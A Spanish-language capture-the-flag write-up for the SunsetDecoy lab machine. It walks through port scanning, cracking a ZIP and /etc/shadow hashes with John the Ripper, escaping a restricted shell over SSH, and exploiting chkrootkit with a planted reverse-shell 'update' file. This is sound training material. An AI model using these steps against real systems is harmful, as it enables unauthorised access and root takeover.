# SunsetDecoy

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpbcuXbceofHdNIHCbBjf%2Fimage.png?alt=media&#x26;token=685a7884-d1cb-4105-98cb-68e519a71a2a" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.193.85
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpfbKwvKMjwVjC3P9l0dR%2Fimage.png?alt=media&#x26;token=fa7a7317-8554-4fa2-9ced-2af1f8e15fdd" alt=""><figcaption></figcaption></figure>

Realizamos un escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC -vv -Pn -n 192.168.193.85 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhbFEP0H4SaaqqlvJOLNu%2Fimage.png?alt=media&#x26;token=38bc6922-128c-41bd-b8ae-8b8c93efe921" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0en8oUkqI4WPnvlYzZGc%2Fimage.png?alt=media&#x26;token=5eeb74a0-44d1-40f8-b837-5e620a4949b8" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38

Interesante también el directorio Index of/ y el archivo ZIP save.zip

#### Enumeración Web

Vamos a ver el contenido del puerto 80 en el naveador Web.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzXYfk4XIAfMXVs6uGs6U%2Fimage.png?alt=media&#x26;token=fa149489-5ddd-4f74-94f9-df18bd94b915" alt=""><figcaption></figcaption></figure>

Es el directorio abierto con el archivo ZIP que podiamos ver en el resultado del escaneo de servicios de NMAP. El siguiente paso será realizar una búsqueda de directorios disponibles en el sitio Web con la herramienta dirsearch.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrTOlqIxh4k8G4dsRrEWy%2Fimage.png?alt=media&#x26;token=54637368-6f84-4b4c-a086-571503728fc5" alt=""><figcaption></figcaption></figure>

### Explotación

No hay más directorios disponibles en el sitio Web. Vamos a descargar el archivo ZIP para ver su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNLb0suRNC9h1IIVkkdtX%2Fimage.png?alt=media&#x26;token=bf6e8f0a-274b-4552-9b29-6eda04f2c42e" alt=""><figcaption></figcaption></figure>

Necesitamos una password para descomprimir el archivo. ¿Cómo podemos obtener esta password? Vamos a utilizar "zip2john" que nos ayudará a extraer el hash del archivo ZIP y posteriormente descifraremos el hash con "John The Ripper" y el diccionario "rockyou.txt".&#x20;

Vamos a ello. Comenzamos extrayendo el hash de la contaseña del archivo ZIP.&#x20;

```
zip2john save.zip > passhash.txt
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F01SO8QyACD5jrM9J5s2B%2Fimage.png?alt=media&#x26;token=7b4bbeff-2938-4a0f-9b3c-75d084e397a1" alt=""><figcaption></figcaption></figure>

El siguiente paso será descifrar el hash con john.

```
john --wordlist='/home/kali/rockyou.txt' passhash.txt
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FbTrAZ8jpFyFHyxHsl8MU%2Fimage.png?alt=media&#x26;token=83aeb429-2e99-4866-a712-1ac897aed3cc" alt=""><figcaption></figcaption></figure>

La contraseña del archivo ZIP es "manuel". Una vez tenemos la contraseña, vamos a descomprimir el archivo ZIP

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2QUpZWyJ3K8bSc1nT74P%2Fimage.png?alt=media&#x26;token=7af8431e-8de5-446e-937d-da8876b98a80" alt=""><figcaption></figcaption></figure>

En los archivos extraidos del ZIP encontramos una copia de seguridad de varios archivos del sistema.

Abrimos los diferentes archivos hasta que llegamos al archivo /etc/shadow que encontramos hashes de contraseñas.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzfkCqnYQlQH5QH56fFDp%2Fimage.png?alt=media&#x26;token=44a64145-7eb5-46e9-8c90-3089c5b29ede" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQQckyMfNs7BtwCyhkTPt%2Fimage.png?alt=media&#x26;token=b0ec9b2d-8e47-4f5b-a8ba-1984dbefe375" alt=""><figcaption></figcaption></figure>

Tenemos dos hashes de contraseña, para el usuario root y el usuario 296640a3b825115a47b68fc44501c828. Copiamos los dos hashes en un archivo al que llamaremos hashes.txt. Estos hashes los descifraremos con john y el diccionario rockyou.txt

```
john --wordlist='/home/kali/rockyou.txt' hashes.txt
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIotVVnFZUXoLEv0Z43Iv%2Fimage.png?alt=media&#x26;token=a02232ba-c329-4a8b-bd50-452fb94a2458" alt=""><figcaption><p>Contraseña para el usuario 296640a3b825115a47b68fc44501c828</p></figcaption></figure>

### Conexión como usuario 296640a3b825115a47b68fc44501c828

Una vez obtenida la contraseña para el usuario 296640a3b825115a47b68fc44501c828, vamos a conectarnos a la máquina objetivo utilizando SSH (recordamos que el puerto 22 estaba abierto en el escaneo inicial de servicios).&#x20;

```
ssh 296640a3b825115a47b68fc44501c828@192.168.193.85
```

Pero esto genera una shell bash con limitaciones (rbash).&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLR5yTcbYnBEXpxlGQrpd%2Fimage.png?alt=media&#x26;token=2ed03417-3be8-4452-b5c9-9fe01fe8987d" alt=""><figcaption></figcaption></figure>

Para escapar de esta limitación, añadimos *-*&#x74; "bash –noprofile" al comando de conexión de SSH.&#x20;

```
ssh 296640a3b825115a47b68fc44501c828@192.168.193.85 -t "bash --noprofile"
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQOKvMz7cgNhsajxqYKmm%2Fimage.png?alt=media&#x26;token=9127858b-a0ba-4e4a-bb46-ea7f6a10be85" alt=""><figcaption><p>Flag local.txt</p></figcaption></figure>

### Elevación de privilegios

Enumeramos los archivos existentes en el directorio del usuario y encontramos un binario llamado " **honeypot.decoy** ". Lo ejecutamos, usamos la **opción 5** y vemos un aviso de que se ejecutará en un minuto.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDlW8VUzcCXNwptjZl8Md%2Fimage.png?alt=media&#x26;token=9bad5f3c-81ab-463b-8c53-5693dbbabccc" alt=""><figcaption></figcaption></figure>

Vamos a monitorizar los procesos que se están ejecutando en la máquina. Para ello vamos a utilizar [pspy](https://github.com/DominicBreuker/pspy).&#x20;

Antes de descargar el binario necesario, debemos asegurarnos de la estructura del sistema. Esto lo vamos a realizar con uname -a.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FU0DL9PV1o7VIRIGoecPR%2Fimage.png?alt=media&#x26;token=d2eeae94-0955-49a0-afb3-08961607792e" alt=""><figcaption></figcaption></figure>

Vamos a descargar el ejecutable para sistemas con estructura x64.

Una vez descargado este binario, vamos a enviarlo a la máquina objetivo utilizando un servidor HTTP con Python.&#x20;

```
python3 -m http.server 4444
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FaccnJYydu71thDbE7b3X%2Fimage.png?alt=media&#x26;token=524f9ac2-a4e4-4ad1-ba1d-5c4a9bddb81c" alt=""><figcaption></figcaption></figure>

Y ejecutamos esto en la máquina víctima.

```
/bin/wget http://192.168.49.193:4444/pspy64
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FutaBI0BRN5ViOxBYIbr5%2Fimage.png?alt=media&#x26;token=4d0025f4-cedc-4af1-84db-d0a145db28fe" alt=""><figcaption></figcaption></figure>

Damos privilegios al archivo pspy64&#x20;

```
/usr/bin/chmod +x pspy64
```

Ejecutamos el script.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fkp0gaRyvbHYfDRI9mdF2%2Fimage.png?alt=media&#x26;token=7853f9d4-bf35-4039-85aa-08b03edaf31f" alt=""><figcaption></figcaption></figure>

PSpy es una herramienta de monitoreo de procesos que sirve para verificar qué servicios se están ejecutando en el sistema.

Ejecutamos el binario honeypot.decoy y posteriormente PSpy.

Después de 1 minuto tenemos los primeros resultados interesantes. Tenemos una versión de chkrootkit&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fse6XlvpG17Kw4lgXuJ3c%2Fimage.png?alt=media&#x26;token=ee577f6b-08e6-4191-a7a2-e2957f758e4b" alt=""><figcaption></figcaption></figure>

Vamos a buscar información sobre la versión de este binario. Encontramos este [**exploit**](https://www.exploit-db.com/exploits/33899) que permite escalar privilegios como root.

Debemos crear un archivo llamado "update" donde insertaremos un shell inverso. Le daremos permisos de ejecución y esperaremos 60 segundos con un **netcat** escuchando en el puerto 1337 de nuestro Kali.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOIzn0oGjzGMAoL7RqSBx%2Fimage.png?alt=media&#x26;token=792991cb-f837-4725-8344-5d7fe6c26152" alt=""><figcaption></figcaption></figure>

Volvemos a ejecutar el binario honeypot.decoy y esperamos a la escucha hasta que se ejecute el archivo "update" que debe darnos acceso a la máquina como usuario con máximos privilegios.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwQngnhZLc9PsJS6Q63qP%2Fimage.png?alt=media&#x26;token=1b028781-fb85-45af-affc-a9ea505ad5da" alt=""><figcaption></figcaption></figure>

Vamos a tratar la tty para hacerla un poco más fácil de trabajar.&#x20;

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCie1bHOmwvWOey95VWMU%2Fimage.png?alt=media&#x26;token=630977a6-e8cc-403b-9055-80f9ab60032e" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FE5vofZ5byu5aBVl7Mp9R%2Fimage.png?alt=media&#x26;token=51e8a679-4d8f-450f-a6c8-d3fcd20565ca" alt=""><figcaption><p>Flag proof.txt</p></figcaption></figure>

Y ya tendremos acabado el CTF SunsetDecoy.&#x20;

{% embed url="<https://www.youtube.com/watch?v=di6IXLOmtb0&feature=emb_imp_woyt>" %}
